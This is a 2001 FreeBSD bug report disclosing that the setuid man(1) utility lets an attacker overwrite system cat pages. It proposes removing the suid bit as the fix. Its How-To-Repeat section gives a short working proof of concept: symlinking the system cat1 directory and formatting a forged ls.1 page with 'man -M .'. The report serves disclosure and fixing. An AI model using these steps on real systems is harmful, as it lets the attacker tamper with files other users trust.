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Date: Thu, 13 Dec 2001 18:13:44 +1100 (EST)
From: "Tim J. Robbins" <tim@robbins.dropbear.id.au>
Reply-To: "Tim J. Robbins" <tim@robbins.dropbear.id.au>
To: FreeBSD-gnats-submit@freebsd.org
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Subject: bin/32791: FreeBSD's man(1) utility vulnerable to old catman attacks
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>Number:         32791
>Category:       bin
>Synopsis:       FreeBSD's man(1) utility vulnerable to old catman attacks
>Confidential:   no
>Severity:       serious
>Priority:       medium
>Responsible:    freebsd-bugs
>State:          open
>Quarter:        
>Keywords:       
>Date-Required:
>Class:          sw-bug
>Submitter-Id:   current-users
>Arrival-Date:   Wed Dec 12 23:30:00 PST 2001
>Closed-Date:
>Last-Modified:
>Originator:     Tim J. Robbins
>Release:        FreeBSD 4.4-STABLE i386
>Organization:
>Environment:
System: FreeBSD raven.robbins.dropbear.id.au 4.4-STABLE FreeBSD 4.4-STABLE #1: Thu Dec 13 10:57:55 EST 2001 tim@raven.robbins.dropbear.id.au:/usr/obj/usr/src/sys/GENERIC i386


	
>Description:
The catman system of the man(1) utility included with FreeBSD is vulnerable to
a whole bunch of attacks whereby the catpage's contents can be controlled
by an attacker. Discussions of the problem:
http://security-archive.merton.ox.ac.uk/security-audit-199908/
("SGID man", Solar Designer, Sun Aug 01 1999 .. and followups)
http://security-archive.merton.ox.ac.uk/security-audit-200010/0022.html
(more problems)

>How-To-Repeat:
There are too many ways to repeat the problem.. here's one:
$ ln -s /usr/share/man/cat1 cat1
$ mkdir man1
$ cd man1
$ cat >ls.1
oops! modified
^D
$ cd ..
$ man -M . ls     
Formatting page, please wait...Done.
oops! modified

>Fix:
Remove the suid(!) bit from /usr/bin/man.
>Release-Note:
>Audit-Trail:
>Unformatted:

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